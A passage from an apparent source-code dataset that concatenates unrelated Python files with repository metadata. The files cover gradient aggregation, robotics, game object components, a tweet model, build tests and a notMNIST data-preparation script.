None: dictionary["password"] = password if token is not None: dictionary["token"] = token return self.client_class().from_dict(dictionary) def store_to_disk(self, data_sources_folder: Path) -> None: data_source_folder = self.data_source_folder(data_sources_folder, self.id) file_path = data_source_folder / f"{self.id}.yaml" data_source_dict = self.to_api(include_nested_structures=False).to_dict(camel_case=True) write_layout_to_file(file_path, data_source_dict) if self.pdm is not None: self.pdm.store_to_disk(data_source_folder) @classmethod def load_from_disk(cls, data_sources_folder: Path, data_source_id: str) -> CatalogDeclarativeDataSource: data_source_folder = data_sources_folder / data_source_id data_source_file_path = data_source_folder / f"{data_source_id}.yaml" pdm = CatalogDeclarativeTables.load_from_disk(data_source_folder) data_source_dict = read_layout_from_file(data_source_file_path) data_source = CatalogDeclarativeDataSource.from_dict(data_source_dict) data_source.pdm = pdm return data_source

3,856

804

44

ce36ea79006e4c6ff0cb9ffe5a3b3419b733b588

1,321

py

Python

src/aggregation_manager/norm_clipping.py

anishacharya/BGMD

03dee098217d2b9a209fea5759e2e0a2237390a5

[ "MIT" ]

5

2022-01-21T06:21:51.000Z

2022-02-11T23:00:57.000Z

src/aggregation_manager/norm_clipping.py

anishacharya/BGMD

03dee098217d2b9a209fea5759e2e0a2237390a5

[ "MIT" ]

null

src/aggregation_manager/norm_clipping.py

anishacharya/BGMD

03dee098217d2b9a209fea5759e2e0a2237390a5

[ "MIT" ]

null

# Copyright (c) Anish Acharya. # Licensed under the MIT License import numpy as np from .base_gar import GAR from typing import List """ Ghosh et.al. Communication-Efficient and Byzantine-Robust Distributed Learning with Error Feedback """

32.219512

98

0.632097

# Copyright (c) Anish Acharya. # Licensed under the MIT License import numpy as np from .base_gar import GAR from typing import List """ Ghosh et.al. Communication-Efficient and Byzantine-Robust Distributed Learning with Error Feedback """ class NormClipping(GAR): def __init__(self, aggregation_config): GAR.__init__(self, aggregation_config=aggregation_config) # Find Number of top norms to drop self.alpha = self.aggregation_config.get("norm_clip_config", {}).get("alpha", 0.1) self.k = None def aggregate(self, G: np.ndarray, ix: List[int] = None, axis=0) -> np.ndarray: # Compute norms of each gradient vector # norm_dist = np.linalg.norm(G, axis=1) if self.k is None: self.k = int(G.shape[0] * self.alpha) print('Norm clipping {} clients'.format(self.k)) norms = np.sqrt(np.einsum('ij,ij->i', G, G)) top_k_indices = np.argsort(np.abs(norms))[::-1][:self.k] # set weights of them to 0 filtering k top ones based on norm alphas = np.ones(G.shape[0]) * (1 / (G.shape[0] - self.k)) alphas[top_k_indices] = 0 agg_grad = self.weighted_average(stacked_grad=G, alphas=alphas) if ix is not None: return agg_grad[ix] else: return agg_grad

998

3

77

fd042e0095f353ffb4caebc0a7ea0f6645226317

1,157

py

Python

src/saas/bkuser_shell/config_center/constants.py

Chace-wang/bk-user

057f270d66a1834312306c9fba1f4e95521f10b1

[ "MIT" ]

null

src/saas/bkuser_shell/config_center/constants.py

Chace-wang/bk-user

057f270d66a1834312306c9fba1f4e95521f10b1

[ "MIT" ]

null

src/saas/bkuser_shell/config_center/constants.py

Chace-wang/bk-user

057f270d66a1834312306c9fba1f4e95521f10b1

[ "MIT" ]

1

2021-12-31T06:48:41.000Z

# -*- coding: utf-8 -*- """ TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-用户管理(Bk-User) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from bkuser_shell.common.constants import ChoicesEnum from django.utils.translation import ugettext_lazy as _

39.896552

115

0.71478

# -*- coding: utf-8 -*- """ TencentBlueKing is pleased to support the open source community by making 蓝鲸智云-用户管理(Bk-User) available. Copyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved. Licensed under the MIT License (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://opensource.org/licenses/MIT Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. """ from bkuser_shell.common.constants import ChoicesEnum from django.utils.translation import ugettext_lazy as _ class DynamicFieldTypeEnum(ChoicesEnum): STRING = "string" ONE_ENUM = "one_enum" MULTI_ENUM = "multi_enum" NUMBER = "number" TIMER = "timer" _choices_labels = ( (STRING, _("字符串")), (ONE_ENUM, _("枚举")), (MULTI_ENUM, _("多枚举")), (NUMBER, _("数值")), (TIMER, _("日期")), )

0

336

23

3345d41bb3626517b8edf0dd1361709a68331cf3

1,611

py

Python

src/subsystems/climbroller.py

creikey/DeepSpace2019

454453aec745df6b1d4e7cfa5222ac46af338a84

[ "MIT" ]

2

2021-12-08T05:02:28.000Z

2021-12-29T14:47:55.000Z

src/subsystems/climbroller.py

creikey/DeepSpace2019

454453aec745df6b1d4e7cfa5222ac46af338a84

[ "MIT" ]

19

2019-01-07T01:42:07.000Z

2019-03-08T05:38:52.000Z

src/subsystems/climbroller.py

creikey/DeepSpace2019

454453aec745df6b1d4e7cfa5222ac46af338a84

[ "MIT" ]

7

2018-10-29T05:09:50.000Z

2020-04-16T04:04:18.000Z

from wpilib.command import Subsystem from constants import Constants from utils import singleton, lazytalonsrx import logging from commands import rollclimbroller class ClimbRoller(Subsystem, metaclass=singleton.Singleton): """The climb roller subsystem controlls the rollers on the end of the front arm.""" def init(self): """Initialize the intake motors. This is not in the constructor to make the calling explicit in the robotInit to the robot simulator.""" self.l_motor = lazytalonsrx.LazyTalonSRX(Constants.CRL_MOTOR_ID) self.r_motor = lazytalonsrx.LazyTalonSRX(Constants.CRR_MOTOR_ID) self.l_motor.initialize( inverted=False, encoder=False, name="Climb Roller Left") self.r_motor.initialize( inverted=False, encoder=False, name="Climb Roller Right") def setPercentOutput(self, l_signal, r_signal): """Set the percent output of the 2 motors.""" self.l_motor.setPercentOutput(l_signal, max_signal=1) self.r_motor.setPercentOutput(r_signal, max_signal=1) def roll(self, signal): """Move the rollers at the same speed.""" if(signal > 0): logging.warn("Will not roll climb rollers backwards") return self.setPercentOutput(signal, signal) def stop(self): """Stop the rollers.""" self.setPercentOutput(0, 0)

35.8

144

0.68653

from wpilib.command import Subsystem from constants import Constants from utils import singleton, lazytalonsrx import logging from commands import rollclimbroller class ClimbRoller(Subsystem, metaclass=singleton.Singleton): """The climb roller subsystem controlls the rollers on the end of the front arm.""" def __init__(self): super().__init__() def init(self): """Initialize the intake motors. This is not in the constructor to make the calling explicit in the robotInit to the robot simulator.""" self.l_motor = lazytalonsrx.LazyTalonSRX(Constants.CRL_MOTOR_ID) self.r_motor = lazytalonsrx.LazyTalonSRX(Constants.CRR_MOTOR_ID) self.l_motor.initialize( inverted=False, encoder=False, name="Climb Roller Left") self.r_motor.initialize( inverted=False, encoder=False, name="Climb Roller Right") def outputToDashboard(self): self.l_motor.outputToDashboard() self.r_motor.outputToDashboard() def setPercentOutput(self, l_signal, r_signal): """Set the percent output of the 2 motors.""" self.l_motor.setPercentOutput(l_signal, max_signal=1) self.r_motor.setPercentOutput(r_signal, max_signal=1) def roll(self, signal): """Move the rollers at the same speed.""" if(signal > 0): logging.warn("Will not roll climb rollers backwards") return self.setPercentOutput(signal, signal) def stop(self): """Stop the rollers.""" self.setPercentOutput(0, 0) def periodic(self): self.outputToDashboard()

145

0

81

688b529ea69dada848d8352c8c56bb04fd013fa4

3,164

py

Python

S4/S4 Library/simulation/objects/components/stereo_component.py

NeonOcean/Environment

ca658cf66e8fd6866c22a4a0136d415705b36d26

[ "CC-BY-4.0" ]

1

2021-05-20T19:33:37.000Z

S4/S4 Library/simulation/objects/components/stereo_component.py

NeonOcean/Environment

ca658cf66e8fd6866c22a4a0136d415705b36d26

[ "CC-BY-4.0" ]

null

S4/S4 Library/simulation/objects/components/stereo_component.py

NeonOcean/Environment

ca658cf66e8fd6866c22a4a0136d415705b36d26

[ "CC-BY-4.0" ]

null

from objects.components import Component, types, ComponentPriority from objects.components.state import TunableStateTypeReference, TunableStateValueReference from sims4.tuning.tunable import HasTunableFactory, AutoFactoryInit, TunableList, TunableReference, Tunable import services import sims4.resources from snippets import define_snippet (_, TunableStereoComponentSnippet) = define_snippet('stereo_component', StereoComponent.TunableFactory())

117.185185

1,759

0.708597

from objects.components import Component, types, ComponentPriority from objects.components.state import TunableStateTypeReference, TunableStateValueReference from sims4.tuning.tunable import HasTunableFactory, AutoFactoryInit, TunableList, TunableReference, Tunable import services import sims4.resources from snippets import define_snippet class StereoComponent(Component, HasTunableFactory, AutoFactoryInit, component_name=types.STEREO_COMPONENT): FACTORY_TUNABLES = {'channel_state': TunableStateTypeReference(description='\n The state used to populate the radio stations'), 'off_state': TunableStateValueReference(description='\n The channel that represents the off state.'), 'listen_affordances': TunableList(description='\n An ordered list of affordances that define "listening" to this\n stereo. The first succeeding affordance is used.\n ', tunable=TunableReference(manager=services.get_instance_manager(sims4.resources.Types.INTERACTION), pack_safe=True)), 'play_on_active_sim_only': Tunable(description='\n If enabled, and audio target is Sim, the audio will only be \n played on selected Sim. Otherwise it will be played regardless \n Sim is selected or not.\n \n If audio target is Object, always set this to False. Otherwise\n the audio will never be played.\n \n ex. This will be useful for Earbuds where we want to hear the\n music only when the Sim is selected.\n \n This is passed down to the audio state when it is triggered, and thus\n will overwrite any tuning on the state value.\n ', tunable_type=bool, default=False), 'immediate': Tunable(description='\n If checked, this audio will be triggered immediately, nothing\n will block.\n \n ex. Earbuds audio will be played immediately while \n the Sim is routing or animating.\n \n This is passed down to the audio state when it is triggered, and thus\n will overwrite any tuning on the state value.\n ', tunable_type=bool, default=False)} def is_stereo_turned_on(self): current_channel = self.owner.get_state(self.channel_state) return current_channel != self.off_state def get_available_picker_channel_states(self, context): for client_state in self.owner.get_client_states(self.channel_state): if client_state.show_in_picker: if client_state.test_channel(self.owner, context): yield client_state def component_potential_interactions_gen(self, context, **kwargs): current_channel = self.owner.get_state(self.channel_state) if current_channel != self.off_state: for listen_affordance in self.listen_affordances: yield from listen_affordance.potential_interactions(self.owner, context, required_station=current_channel, off_state=self.off_state, **kwargs) (_, TunableStereoComponentSnippet) = define_snippet('stereo_component', StereoComponent.TunableFactory())

766

1,928

23

603ff613688cffe6ba5669264455c110de9a9652

1,274

py

Python

programs/koinos-types/koinos_reflect/baseparser.py

joticajulian/koinos-types

7d01248437d063deb780af03057737e4937f82d1

[ "MIT" ]

10

2021-02-10T20:57:08.000Z

2021-03-17T00:09:15.000Z

programs/koinos-types/koinos_reflect/baseparser.py

joticajulian/koinos-types

7d01248437d063deb780af03057737e4937f82d1

[ "MIT" ]

82

2021-02-08T22:59:24.000Z

2021-10-01T17:40:07.000Z

programs/koinos-types/koinos_reflect/baseparser.py

joticajulian/koinos-types

7d01248437d063deb780af03057737e4937f82d1

[ "MIT" ]

3

2021-02-11T04:29:39.000Z

2021-04-17T22:56:34.000Z

from .lexer import Lexer from dataclasses_json import dataclass_json from dataclasses import dataclass, field from typing import List, Tuple, Union # Parser of .base files # Syntax is semicolon separated list of qualified types @dataclass_json @dataclass @dataclass_json @dataclass

23.163636

64

0.605965

from .lexer import Lexer from dataclasses_json import dataclass_json from dataclasses import dataclass, field from typing import List, Tuple, Union # Parser of .base files # Syntax is semicolon separated list of qualified types @dataclass_json @dataclass class BasefileType: name: List[str] doc: str @dataclass_json @dataclass class BasefileTop: types: List[BasefileType] doc: str class BasefileParser: def __init__(self, data): self.lexer = Lexer(data) def parse(self): return self.parse_toplevel() def parse_typelist(self): result = [] while True: tok = self.peek() if tok.ttype == "EOF": break elif tok.ttype == "SEMI": self.expect("SEMI") continue name = self.parse_qualname() semi = self.expect("SEMI") result.append(BasefileType(name=name, doc=semi.doc)) return result def parse_qualname(self): result = [] result.append(self.expect("ID").text) while self.peek().ttype == "QUAL": self.expect("QUAL") result.append(self.expect("ID").text) return result def parse(data): return BasefileParser(data).parse()

718

71

197

9ab9dde5ff068e3fbee8407c86a3718d396063cf

2,372

py

Python

tests/correctness/targets/CppCompilationWithTargetDeps/Input/root.xpybuild.py

xpybuild/xpybuild

c71a73e47414871c8192381d0356ab62f5a58127

[ "Apache-2.0" ]

9

2017-02-06T16:45:46.000Z

2021-12-05T09:42:58.000Z

tests/correctness/targets/CppCompilationWithTargetDeps/Input/root.xpybuild.py

xpybuild/xpybuild

c71a73e47414871c8192381d0356ab62f5a58127

[ "Apache-2.0" ]

15

2019-01-11T19:39:34.000Z

2022-01-08T11:11:35.000Z

tests/correctness/targets/CppCompilationWithTargetDeps/Input/root.xpybuild.py

xpybuild/xpybuild

c71a73e47414871c8192381d0356ab62f5a58127

[ "Apache-2.0" ]

5

2017-02-06T16:51:17.000Z

2020-12-02T17:36:30.000Z

# # Copyright (c) 2013 - 2017, 2019 Software AG, Darmstadt, Germany and/or its licensors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os from xpybuild.propertysupport import * from xpybuild.buildcommon import * from xpybuild.pathsets import * from xpybuild.targets.native import * from xpybuild.targets.copy import Copy from xpybuild.utils.compilers import GCC, VisualStudio include(os.environ['PYSYS_TEST_ROOT_DIR']+'/build_utilities/native_config.xpybuild.py') setGlobalOption('native.include.upToDateCheckIgnoreRegex', '(c:/program files.*|.*/tESt4.h)' if IS_WINDOWS else '.*/test4.h') setGlobalOption('native.include.upToDateCheckIgnoreSystemHeaders', True) # only works on linux/gcc currently Copy('${OUTPUT_DIR}/my-generated-include-files/', FindPaths('./include-src/')) Copy('${OUTPUT_DIR}/my-generated-include-files2/generatedpath/test3.h', FindPaths('./include-src/generatedpath/')) Copy('${OUTPUT_DIR}/test-generated.cpp', './test.cpp') Cpp(objectname('${OUTPUT_DIR}/no-target-deps'), './test.cpp', includes=[ "./include/", './include-src/', ] ) Cpp(objectname('${OUTPUT_DIR}/target-cpp-and-include-dir'), '${OUTPUT_DIR}/test-generated.cpp', includes=[ "./include/", '${OUTPUT_DIR}/my-generated-include-files/', # a target ] ) Cpp(objectname('${OUTPUT_DIR}/target-cpp'), '${OUTPUT_DIR}/test-generated.cpp', includes=[ "./include/", './include-src/', ] ) Cpp(objectname('${OUTPUT_DIR}/target-include-dir'), './test.cpp', includes=[ "./include/", '${OUTPUT_DIR}/my-generated-include-files/', # a target ] ) # generated include files in non-target directories are no longer supported Cpp(objectname('${OUTPUT_DIR}/target-include-file'), './test.cpp', includes=[ "./include/", TargetsWithinDir('${OUTPUT_DIR}/my-generated-include-files2/'), # NOT a target, but contains one ] )

33.885714

125

0.718381

# # Copyright (c) 2013 - 2017, 2019 Software AG, Darmstadt, Germany and/or its licensors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os from xpybuild.propertysupport import * from xpybuild.buildcommon import * from xpybuild.pathsets import * from xpybuild.targets.native import * from xpybuild.targets.copy import Copy from xpybuild.utils.compilers import GCC, VisualStudio include(os.environ['PYSYS_TEST_ROOT_DIR']+'/build_utilities/native_config.xpybuild.py') setGlobalOption('native.include.upToDateCheckIgnoreRegex', '(c:/program files.*|.*/tESt4.h)' if IS_WINDOWS else '.*/test4.h') setGlobalOption('native.include.upToDateCheckIgnoreSystemHeaders', True) # only works on linux/gcc currently Copy('${OUTPUT_DIR}/my-generated-include-files/', FindPaths('./include-src/')) Copy('${OUTPUT_DIR}/my-generated-include-files2/generatedpath/test3.h', FindPaths('./include-src/generatedpath/')) Copy('${OUTPUT_DIR}/test-generated.cpp', './test.cpp') Cpp(objectname('${OUTPUT_DIR}/no-target-deps'), './test.cpp', includes=[ "./include/", './include-src/', ] ) Cpp(objectname('${OUTPUT_DIR}/target-cpp-and-include-dir'), '${OUTPUT_DIR}/test-generated.cpp', includes=[ "./include/", '${OUTPUT_DIR}/my-generated-include-files/', # a target ] ) Cpp(objectname('${OUTPUT_DIR}/target-cpp'), '${OUTPUT_DIR}/test-generated.cpp', includes=[ "./include/", './include-src/', ] ) Cpp(objectname('${OUTPUT_DIR}/target-include-dir'), './test.cpp', includes=[ "./include/", '${OUTPUT_DIR}/my-generated-include-files/', # a target ] ) # generated include files in non-target directories are no longer supported Cpp(objectname('${OUTPUT_DIR}/target-include-file'), './test.cpp', includes=[ "./include/", TargetsWithinDir('${OUTPUT_DIR}/my-generated-include-files2/'), # NOT a target, but contains one ] )

0

a1a87cc46f9c970e2f28007cb3e1126704e78b89

3,842

py

Python

twirps/classes/tweet.py

condnsdmatters/twirps

e2a15ae21129fedb400415ad1b70f6a931b046c4

[ "MIT" ]

3

2015-05-08T16:19:40.000Z

2016-05-03T07:54:04.000Z

twirps/classes/tweet.py

condnsdmatters/twirps

e2a15ae21129fedb400415ad1b70f6a931b046c4

[ "MIT" ]

null

twirps/classes/tweet.py

condnsdmatters/twirps

e2a15ae21129fedb400415ad1b70f6a931b046c4

[ "MIT" ]

null

from __future__ import unicode_literals import logging LOGGER = logging.getLogger(__name__)

35.247706

118

0.61114

from __future__ import unicode_literals import logging LOGGER = logging.getLogger(__name__) class Tweet(object): def __init__(self, tweet, source): self.tweet_id = 0 self.user_id = 0 self.handle = '' self.mentions = [] self.content = '' self.is_retweet = False self.retweeted_user=None self.retweet_status_id = 0 self.is_reply = False self.in_reply_to_user = None self.in_reply_to_status_id = None self.retweet_count = 0 self.favourite_count = 0 self.hashtags = [] self.date = '' self.urls = [] self.website_link = None if source=='twitter': self.from_twitter(tweet) elif source=='database': self.from_database(tweet) def from_twitter(self, tweet): self.tweet_id = tweet.id self.user_id = tweet.user.id self.handle = tweet.user.screen_name self.date = tweet.created_at self.retweet_count = tweet.retweet_count self.favourite_count = tweet.favorite_count self.website_link=u'https://twitter.com/'+self.handle+u'/status/'+str(self.tweet_id) if tweet.in_reply_to_user_id != None: #self.mentions.append((tweet.in_reply_to_user_id, tweet.in_reply_to_screen_name)) self.is_reply = True self.in_reply_to_user = (tweet.in_reply_to_user_id,tweet.in_reply_to_screen_name) self.in_reply_to_status_id = tweet.in_reply_to_status_id if hasattr(tweet, 'retweeted_status'): tweet = tweet.retweeted_status self.retweeted_user = (tweet.user.id, tweet.user.screen_name) self.is_retweet = True self.retweet_status_id = tweet.id # self.retweeted_uid = tweet.user.id # self.mentions.append((tweet.user.id, tweet.user.screen_name)) self.content = tweet.text self.mentions = [ (ent['id'],ent['screen_name'] ) for ent in tweet.entities['user_mentions']] self.hashtags = [ent['text'] for ent in tweet.entities['hashtags']] self.urls = [urls['expanded_url'] for urls in tweet.entities['urls']] def __str__(self): return u'Tweet: %d %s || RC: %d || FC: %d || RT: %s || @ %s || # %s || Url %s\nContent: %s' %( self.tweet_id, self.handle, self.retweet_count, self.favourite_count, self.retweeted_user[1] if self.is_retweet else '', len(self.mentions), len(self.hashtags), len(self.urls), unicode(self.content) ) def from_database(self, tweet_tuple): self.tweet_id = tweet_tuple[0] self.user_id = tweet_tuple[1] self.handle = tweet_tuple[2].decode('utf-8') self.is_retweet = tweet_tuple[3] self.is_reply = tweet_tuple[4] self.content = tweet_tuple[5].decode('utf-8') self.favourite_count = tweet_tuple[6] self.retweet_count = tweet_tuple[7] self.date =tweet_tuple[8] self.website_link=u'https://twitter.com/'+self.handle+u'/status/'+str(self.tweet_id) self.from_database_add_entities(tweet_tuple) def from_database_add_entities(self, tweet_tuple): if tweet_tuple[9] == 'hashtag': self.hashtags.append( tweet_tuple[10].decode('utf-8') ) elif tweet_tuple[9] == 'url': self.urls.append( tweet_tuple[10] ) elif tweet_tuple[9] == 'mention': self.mentions.append( (tweet_tuple[11],tweet_tuple[10].decode('utf-8')) ) elif tweet_tuple[9] == 'retweet': self.retweeted_user = (tweet_tuple[11],tweet_tuple[10].decode('utf-8') ) elif tweet_tuple[9] == 'reply': self.in_reply_to_user = (tweet_tuple[11],tweet_tuple[10].decode('utf-8') )

3,578

-1

157

e6443063857f8fb51ef5d2e6135b5f0c53f6f899

200

py

Python

code/tools/idl/header.py

antonand03/hello-my-friend

fb4e225a75aea3007a391ccc4dcda3eda65c2142

[ "MIT" ]

5,411

2017-04-14T08:57:56.000Z

2022-03-30T19:35:15.000Z

code/tools/idl/header.py

antonand03/hello-my-friend

fb4e225a75aea3007a391ccc4dcda3eda65c2142

[ "MIT" ]

802

2017-04-21T14:18:36.000Z

2022-03-31T21:20:48.000Z

code/tools/idl/header.py

antonand03/hello-my-friend

fb4e225a75aea3007a391ccc4dcda3eda65c2142

[ "MIT" ]

2,011

2017-04-14T09:44:15.000Z

2022-03-31T15:40:39.000Z

# add dependency directory to the Python path import site import os.path site.addsitedir(os.path.join(os.path.dirname(__file__), 'deps')) # call header.py from xpidl import header header.main()

20

64

0.755

# add dependency directory to the Python path import site import os.path site.addsitedir(os.path.join(os.path.dirname(__file__), 'deps')) # call header.py from xpidl import header header.main()

0

8954b1341863a803d5c1520e4ecd7f34aaffdd4d

1,476

py

Python

snim/cell.py

markormerod/simple-neural-ignition-model

70867d66fefd237cdc2cb9a6318c5a7782759d59

[ "MIT" ]

null

snim/cell.py

markormerod/simple-neural-ignition-model

70867d66fefd237cdc2cb9a6318c5a7782759d59

[ "MIT" ]

null

snim/cell.py

markormerod/simple-neural-ignition-model

70867d66fefd237cdc2cb9a6318c5a7782759d59

[ "MIT" ]

null

from snim.snim_state import SnimState

35.142857

94

0.590108

from snim.snim_state import SnimState class Cell: def __init__(self, x, y, state = SnimState.EMPTY): self.x = x self.y = y self.state = state def update(self, snim): neighbours = snim.get_diag_neighbours(self.x, self.y) neural_neighbours = sum(1 for n in neighbours if n.state is not SnimState.EMPTY) firing_neighbours = sum(1 for n in neighbours if n.state is SnimState.FIRING) if self.state is SnimState.EMPTY: # If all of the surrounding cells are living, spawn a new neuron if neural_neighbours is 4: self.state = SnimState.RESTING return if self.state is SnimState.FIRING: # If firing and there are no surrounding living cells, can't discharge so stay lit if neural_neighbours < 1: self.state = SnimState.FIRING return self.state = SnimState.RECOVERING return if self.state is SnimState.RECOVERING: # If recovering and over 2 neighbours are firing, reignite if firing_neighbours > 2: self.state = SnimState.FIRING return self.state = SnimState.RESTING return if self.state is SnimState.RESTING: # If resting and any neighbours fire, ignite if firing_neighbours >= 1: self.state = SnimState.FIRING return

1,373

-10

76

6a1501d572a47250fb79ebd30d23104a3301cddd

8,925

py

Python

not_mnist/src/setup.py

srungta/mnist-and-others

829993d85a9090c0036331bcf12195c815447946

[ "MIT" ]

null

not_mnist/src/setup.py

srungta/mnist-and-others

829993d85a9090c0036331bcf12195c815447946

[ "MIT" ]

null

not_mnist/src/setup.py

srungta/mnist-and-others

829993d85a9090c0036331bcf12195c815447946

[ "MIT" ]

null

# imports from __future__ import print_function from IPython.display import display, Image from six.moves import cPickle as pickle from six.moves.urllib.request import urlretrieve from sklearn.linear_model import LogisticRegression import imageio import matplotlib.pyplot as plt import numpy as np import os import sys import tarfile from constants import * from commonconstants import NOT_MNIST_ZIPS_DIR, NOT_MNIST_IMAGES_DIR, NOT_MNIST_PICKLES_DIR from file_helper import get_file_name, join_paths np.random.seed(NUMPY_SEED) last_percent_reported = None def download_progress_hook(count, blockSize, totalSize): """A hook to report the progress of a download. This is mostly intended for users with slow internet connections. Reports every 5% change in download progress. """ global last_percent_reported percent = int(count*blockSize*100 / totalSize) if last_percent_reported != percent: if percent % 5 == 0: sys.stdout.write('%s%%' % percent) sys.stdout.flush() else: sys.stdout.write('.') sys.stdout.flush() last_percent_reported = percent def load_letter(folder, min_num_images): """Load the data for a single letter label.""" image_files = os.listdir(folder) dataset = np.ndarray(shape=(len(image_files), IMAGE_SIZE, IMAGE_SIZE), dtype=np.float32) print(folder) num_images = 0 for image in image_files: image_file = os.path.join(folder, image) try: image_data = (imageio.imread(image_file).astype(float) - PIXEl_DEPTh / 2) / PIXEl_DEPTh if image_data.shape != (IMAGE_SIZE, IMAGE_SIZE): raise Exception('Unexpected image shape: %s' % str(image_data.shape)) dataset[num_images, :, :] = image_data num_images = num_images + 1 except (IOError, ValueError) as e: print('Could not read:', image_file, ':', e, '- it\'s ok, skipping.') dataset = dataset[0:num_images, :, :] if num_images < min_num_images: raise Exception('Many fewer images than expected: %d < %d' % (num_images, min_num_images)) print('Full dataset tensor:', dataset.shape) print('Mean:', np.mean(dataset)) print('Standard deviation:', np.std(dataset)) return dataset if __name__ == '__main__': # Large main(TRAINING_SIZE, VALIDATION_SIZE, TEST_SIZE, FINAL_DATASET_FILENAME) # Small main(TRAINING_SIZE_SMALL, VALIDATION_SIZE_SMALL, TEST_SIZE_SMALL, FINAL_DATASET_FILENAME_SMALL)

38.469828

99

0.662073

# imports from __future__ import print_function from IPython.display import display, Image from six.moves import cPickle as pickle from six.moves.urllib.request import urlretrieve from sklearn.linear_model import LogisticRegression import imageio import matplotlib.pyplot as plt import numpy as np import os import sys import tarfile from constants import * from commonconstants import NOT_MNIST_ZIPS_DIR, NOT_MNIST_IMAGES_DIR, NOT_MNIST_PICKLES_DIR from file_helper import get_file_name, join_paths np.random.seed(NUMPY_SEED) last_percent_reported = None def download_progress_hook(count, blockSize, totalSize): """A hook to report the progress of a download. This is mostly intended for users with slow internet connections. Reports every 5% change in download progress. """ global last_percent_reported percent = int(count*blockSize*100 / totalSize) if last_percent_reported != percent: if percent % 5 == 0: sys.stdout.write('%s%%' % percent) sys.stdout.flush() else: sys.stdout.write('.') sys.stdout.flush() last_percent_reported = percent def maybe_download(filename, expected_bytes, force=False): dest_filename = os.path.join(NOT_MNIST_ZIPS_DIR, filename) if force or not os.path.exists(dest_filename): print('Attempting to download:', filename) filename, _ = urlretrieve( DATASET_DOWNLOAD_URL + filename, dest_filename, reporthook=download_progress_hook) print('\nDownload complete!') statinfo = os.stat(dest_filename) if statinfo.st_size == expected_bytes: print('Found and verified', dest_filename) else: raise Exception( 'Failed to verify ' + dest_filename + '. Get using abrowser.' ) return dest_filename def maybe_extract(filename, force=False): root = os.path.splitext(os.path.splitext(get_file_name(filename))[0])[0] # remove .tar.gz root = join_paths(NOT_MNIST_IMAGES_DIR, root) if os.path.isdir(root) and not force: # You may override by setting force=True. print('%s already present - Skipping extraction of %s.' % (root, filename)) else: print('Extracting data for %s. This may take a while. Please wait.' % root) tar = tarfile.open(filename) sys.stdout.flush() tar.extractall(NOT_MNIST_IMAGES_DIR) tar.close() data_folders = [ os.path.join(root, d) for d in sorted(os.listdir(root)) if os.path.isdir(os.path.join(root, d))] if len(data_folders) != NUM_OF_CLASSES: raise Exception( 'Expected %d folders, one per class. Found %d instead.' % ( NUM_OF_CLASSES, len(data_folders))) print(data_folders) return data_folders def load_letter(folder, min_num_images): """Load the data for a single letter label.""" image_files = os.listdir(folder) dataset = np.ndarray(shape=(len(image_files), IMAGE_SIZE, IMAGE_SIZE), dtype=np.float32) print(folder) num_images = 0 for image in image_files: image_file = os.path.join(folder, image) try: image_data = (imageio.imread(image_file).astype(float) - PIXEl_DEPTh / 2) / PIXEl_DEPTh if image_data.shape != (IMAGE_SIZE, IMAGE_SIZE): raise Exception('Unexpected image shape: %s' % str(image_data.shape)) dataset[num_images, :, :] = image_data num_images = num_images + 1 except (IOError, ValueError) as e: print('Could not read:', image_file, ':', e, '- it\'s ok, skipping.') dataset = dataset[0:num_images, :, :] if num_images < min_num_images: raise Exception('Many fewer images than expected: %d < %d' % (num_images, min_num_images)) print('Full dataset tensor:', dataset.shape) print('Mean:', np.mean(dataset)) print('Standard deviation:', np.std(dataset)) return dataset def maybe_pickle(data_folders, min_num_images_per_class, force=False): dataset_names = [] for folder in data_folders: set_filename = folder + '.pickle' dataset_names.append(set_filename) if os.path.exists(set_filename) and not force: # You may override by setting force=True. print('%s already present - Skipping pickling.' % set_filename) else: print('Pickling %s.' % set_filename) dataset = load_letter(folder, min_num_images_per_class) try: with open(set_filename, 'wb') as f: pickle.dump(dataset, f, pickle.HIGHEST_PROTOCOL) except Exception as e: print('Unable to save data to', set_filename, ':', e) return dataset_names def make_arrays(nb_rows, img_size): if nb_rows: dataset = np.ndarray((nb_rows, img_size, img_size), dtype=np.float32) labels = np.ndarray(nb_rows, dtype=np.int32) else: dataset, labels = None, None return dataset, labels def merge_datasets(pickle_files, train_size, valid_size=0): NUM_OF_CLASSES = len(pickle_files) valid_dataset, valid_labels = make_arrays(valid_size, IMAGE_SIZE) train_dataset, train_labels = make_arrays(train_size, IMAGE_SIZE) vsize_per_class = valid_size // NUM_OF_CLASSES tsize_per_class = train_size // NUM_OF_CLASSES start_v, start_t = 0, 0 end_v, end_t = vsize_per_class, tsize_per_class end_l = vsize_per_class+tsize_per_class for label, pickle_file in enumerate(pickle_files): try: with open(pickle_file, 'rb') as f: letter_set = pickle.load(f) # let's shuffle the letters to have random validation and training set np.random.shuffle(letter_set) if valid_dataset is not None: valid_letter = letter_set[:vsize_per_class, :, :] valid_dataset[start_v:end_v, :, :] = valid_letter valid_labels[start_v:end_v] = label start_v += vsize_per_class end_v += vsize_per_class train_letter = letter_set[vsize_per_class:end_l, :, :] train_dataset[start_t:end_t, :, :] = train_letter train_labels[start_t:end_t] = label start_t += tsize_per_class end_t += tsize_per_class except Exception as e: 